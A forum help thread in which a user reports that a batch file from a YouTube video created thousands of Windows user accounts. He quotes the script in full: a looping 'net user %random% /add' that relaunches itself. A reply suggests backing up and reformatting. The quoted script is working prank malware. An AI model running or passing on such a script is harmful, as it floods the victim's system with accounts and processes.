help me plz!!!

[DARK-DEVIL]

guys i have gone youtube.com and saw a video that makes several users but i did and opend the batch files and i closed laptop then opend laptop again then more than 5000 users!!!
now i want to delete them but i cant
i dont know how to go in the administrator there are so many!!!
all my files in the main user what do i do plz help me i dont know nothing about programming etc!!
here is the batch code he gave me :
----------------------------------------------------
@echo off
echo Muhahahaha!
:add
net user %random% /add
start acf.bat
goto add
----------------------------------------------------
help me plz i dunno what to do
LAPTOP is my life im 24 hours on it!!! help me plz please please
i will realy appreceat who helps me and who wants to
:'( HELP!!!!

[FaMe FacToR]

Login into anyone account and share your data, copy your data to some other computer and then format your laptop, there is no other easy way to delete the users or may be i don't know an easy way...